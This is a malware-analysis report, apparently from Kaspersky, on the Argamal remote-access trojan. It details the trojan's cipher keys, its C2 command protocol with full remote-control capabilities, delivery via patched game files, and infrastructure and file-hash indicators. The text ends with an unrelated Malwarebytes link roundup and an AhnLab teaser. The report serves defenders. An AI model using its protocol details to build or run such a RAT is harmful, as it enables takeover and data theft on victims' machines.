The samples we found had string encryption; they use a simple substitution with a key that corresponds position-by-position to the following alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#$./:<>*&~. The decryption process involves finding the position of each symbol of the encrypted strings in the key, and replacing it with the symbol that occupies the same position in the alphabet.
During our investigation, we found the following keys were used:

• 17htUno/I3L&fK2H#yapE@b5NqZ$Q4xmeF.s96uB>jkdWCPvAgD*XwO:iR~TMrV0YGl8z<JSc
• 71htUno/I3L&fK2H#aypE@b5NqZ$Q4xmeF.s96uB>jdkWCPvAgD*XwO:iR~TMrV0YGl8z<JSc
• E1hUtno/IL3&fK2H#ypa7@b5NqZ$Q4xmeF.s69uB>jkdWCvPAgD*XwO:iR~TrMV0YGl8z<JcS

All symbols not used in the key remain unchanged.

The payload checks for the presence of the following security solutions using the output of the tasklist command:

• Kaspersky
• Avast
• McAfee
• BitDefender
• MalwareBytes
• +36 other solutions

The payload itself is a RAT with broad functionality. The default C2 server is asper1[.]freeddns[.]org for earlier versions and Winst0[.]kozow[.]com for the latest versions of the payload. Both domains point to 186[.]158.223.35. We also saw another IP address for the first C2 in pDNS records, though we haven’t actually seen it in use. The C2 address can change based on a C2 reply or when certain conditions are met. For example, if the user’s default locale is set to “zh-CN”, the RAT sets its C2 address to country1[.]ignorelist[.]com. During most of our investigation, this domain pointed to 127[.]0.0.1, but starting April 26, it has been pointing to 186[.]158.223.35 as well.

The payload sends UDP heartbeats to port 57441 of the C2 server. These heartbeats contain information about detected security solutions, system startup time, time since last input activity, architecture info, machine IP address and username.

The C2 may respond to the heartbeat. Based on this response, the payload can perform different actions. Below is the full list of available commands.

Response first byte	Description
0x31	Run DLL on the system
0x57	Send UDP request to the specified address
0x55	Open file or link from the response
0x50	Collect information about the infected system (e.g. process list and architecture)
0x53	Execute command from the response using ShellExecuteW
0x52	Run the file specified in the response using WinExec
0x42	Delete the file specified in the response
0x41	Update C2 domain
0x59	Get new payload: connect to C2 port 63559/UDP, get new DLL and update COM path in the registry

The C2 can also set a flag in the response that will turn on the extended RAT mode. In this mode, the payload communicates with the C2 server using the 3747/tcp port.

TCP communications are encrypted using a simple substitution cipher. Each character is replaced using a fixed mapping defined by the key:

koP]Y4Os-_t?cB',aK.Wm>QM2[U!^C`*@Ff:X\6Dp8H%ATydE<e(#G&LhwRZ5znjJqgNrl)I7V$3=910"+Svxi/;ub

This key corresponds position-by-position to the standard ASCII character sequence:

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}

In other words, each character in the ASCII set is replaced by the corresponding character in the key string.

C2 requests and responses are divided into two parts by the first space character. The first part is a command and the second part is usually an argument.
After connecting and before receiving information from the C2, the malware sends metadata about the infected machine using the NOOP command. This metadata includes a run cycle counter, mounted drive metadata, time since the last input activity and data about the display settings.

Based on the C2 command, the malware can execute commands on the infected machine, perform reboot and shutdown actions, control the cursor, take screenshots, compress files into archives, and send files to other specified servers. In short, it can fully control the machine. The full list of commands is as follows:

System control

• KILL REBOOT: Reboots the infected system
• KILL POWER: Shuts down the infected system
• KILL SELF: Same as the QUIT command (described below)
• KILL ME: Exits process running the malware

Surveillance

• SCREEN / SCREEN9: makes a screenshot, saves it to the ~wra1269.tmp file and sends it to the C2

File operations

• DELETE <filename>: deletes specified file
• DELDIR <dirname>: deletes specified directory
• REN <file path 1>#<file path 2>: moves specified file
• MAKDIR <path>: creates directory
• ZIPFILE <file or folder name> / ZIPFOLDER <file or folder name>: compresses specified file/folder into a .zip archive
• TAR <file or folder name> / TAR2 <file or folder name>: compresses specified file/folder into a .tar archive
• GETFILEDATE <filename>: sends file’s last modification date
• SETFILEDATE <filename>: sets file’s last modification date
• GETFILEACC <filename>: sends file’s last access date
• DWLOAD <filename>: sends file to the C2
• UPLOAD <filename>#<C2 address>: uploads file to the specified C2 server

Reconnaissance

• USER: sends username
• KALIVE: sends run cycle counter
• IDLE: sends number of seconds passed since last input activity
• DRIVES: sends information about mounted drives
• FOLDEX <folder type>: sends full path to a directory of the specified type:
• – type = 0x63: temporary directory
• – type = 0x64: \Google\Chrome\User Data\Default\ in AppData\Local folder
• – type = 0x65: \Downloads\ in user home directory
• – type = 0x66: \Microsoft\Excel\XLSTART\ in AppData folder
• – type = 0x67: AppData folder
• LFILES <folder path>: lists and sends paths to all files in the directory
• OSVER: sends information about user, hostname, OS architecture and version
• COMPILERDATE: sends constant hardcoded in the RAT, e.g., 25.10.2025

Generic control

• DSOCKE: recreates TCP keep-alive socket
• QUIT: notifies the C2 about quitting, closes the socket and stops the process
• RUNHID <command> / RUN <command>: runs specified command inside ShellExecuteW
• RUNDOS <command>: runs specified command inside CreateProcessW
• RUNTASK <command>: creates, runs and deletes task that executes specified command
• SKEY <key code>: presses specified key
• MOUSE FREEZE: freezes mouse movement
• MOUSE <command>: clicks the specified mouse button or sets the cursor position to the specified coordinates

Other delivery methods

During our research, we also observed other delivery methods for the RAT. Instead of patching FFmpeg and downloading the payload from GitHub, the attackers included the main payload as libpython64.dat or another file with a similar name in the lib\py3-windows-x86_64 directory of the game. This .dat file was loaded by one of the libraries used in the game, which was patched for this purpose.

In another case, the threat actor posted their malicious DLL file (payload downloader) on a gaming forum, disguising it as a cheat.

Infrastructure

Our research revealed the following infrastructure was used in this attack.

Domain	IP	First seen	ASN
asper1[.]freeddns[.]org	181[.]116.218.56	September 16, 2024	11664
	186[.]158.223.35	July 01, 2025	11664
country1[.]ignorelist[.]com	186[.]158.223.35	September 10, 2025	11664
	127[.]0.0.1	November 11, 2025	–
Winst0.kozow[.]com	186[.]158.223.35	April 26, 2026	11664

Victims

According to our telemetry, hundreds of individuals were infected with this malware. The majority of the victims were located in Russia, Brazil, Germany and Vietnam.

Distribution of victims (download)

Attribution

Based on the language of the comments in the code, infrastructure data and other facts we assess with medium confidence that the developer of the downloader chain speaks Spanish.

The actor behind this attack uses Spanish in variable names and comments. For example, the Base64-decoded delivery script contains the following lines:

In addition, the JavaScript code from the website distributing infected games contains variable names, function names and comments in Spanish:

Notably, the malware payloads used in this attack had previously chosen 127.0.0.1 as their C2 server when the victim’s default locale is set to “zh-CN”, thus not targeting Chinese users. This may indicate that the attacker is associated with a Chinese-speaking threat actor or uses payloads developed by a Chinese-speaking threat actor. However, we still believe it’s unlikely that the developer of these delivery chains is Chinese-speaking.

Conclusions

The Argamal Trojan is a new RAT targeting individuals who seek adult games. During our analysis, we observed a steady stream of updates to the payload, including the addition of new features and fixes for various bugs, as well as changes to the infrastructure. This leads us to believe that the threat actor behind this malware will continue to develop and enhance it. The campaign’s goal is likely data and credential theft; however, the RAT enables the attacker to take full control of the device and execute any malicious activity they want.

Creating malware in today’s development landscape has become significantly easier thanks to the wide availability of detailed guides, tooling, and automation resources. As a result, it is crucial not only to detect known malware but also to identify new and evolving threats as they emerge. Kaspersky solutions prevented the malicious activity in the earliest stages of the attack. The solutions help ensure device security by identifying not only known threats but also the behavior of the software and its actions, providing comprehensive protection against malware.

Indicators of Compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

File hashes
RAT payloads:
76253fb55aed707440e808ea78e7101318436b1c
1405a3c5e0aeb08012484134e16cdec4ab29b4a4
535f4337f261b6da20a3c614eb13270bed2d533a
d2cb0d7a9ad2b5d4ea7c2da8aec62beb37cf36d6
e05f1767c2a337910ed75e90288838d6d0541164
dad26f61da7b8bccc78364411812be74c025b475
29f1d346a6e71774c7dad25b90f446b2974393df
e815a9b418d09c2d4bcd074c2c0bc21406eeb22f
17f8f8f34dfa737f36182fed7ff9e9814a114058
954722b0c9c678b1313d1f8b204e102842dc5889
69331cfdac792dc79240e6a6bb6e803eabd70beb
901cfa97b1baaf908fd4a02bb52d970f576c4193
5f1f3689bcf23de1b280b5f35712946da0f7978f
c2d9d48b3b10bd58cdf5df9463e3ffcd60533ff3
2423a5bf0fa7cb9ec09211630a5488629499691b
ae4601a19d28332a3ec6ac31b385cdf53be53450

Trojan downloaders:
9803604ec45f31f9ef75bcca1e1310d8ac1fc3a6
edce72f59e4c1d136cd1946af70d334c19df858d
02819d200d1424882af81cb504b3e8614b32397a

Domains and IPs
asper1[.]freeddns[.]org
Winst0[.]kozow[.]com
Country1[.]ignorelist[.]com
186[.]158.223.35

GitHub repositories used in the campaign
hxxps://github[.]com/gmz159/u
hxxps://github[.]com/DnyP/files
hxxps://github[.]com/mgzv/p

Last week on Malwarebytes Labs:

• Payment apps are watching what you say (Lock and Code S07E11)
• Scammers pretending to be Microsoft had help from US executives
• 700+ education and tech websites hijacked in huge ClickFix malware campaign
• Fake software on GitHub and SourceForge distribute Deno RAT
• Fake LinkedIn emails abuse Adobe to track victims
• Company bragged phone mics could listen to conversations. They couldn’t.
• Kali365 phishing kit bypasses MFA and steals Microsoft logins
• Fake ChatGPT download site infects Windows and Mac users with malware
• Your Windows PC has a security deadline in June 2026
• Carnival confirms data breach impacting nearly 6 million
• Signal users targeted in backup-stealing phishing attacks

Stay safe!

---

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Overview ahnLab utilized its infrastructure to monitor Advanced Persistent Threat (APT) attacks on targets in Korea. this report summarizes the classification, statistics, and features of each type of APT attacks identified in Korea during the month of April 2026. Trends of APT Attacks in South Korea most of the APT attacks identified in Korea were […]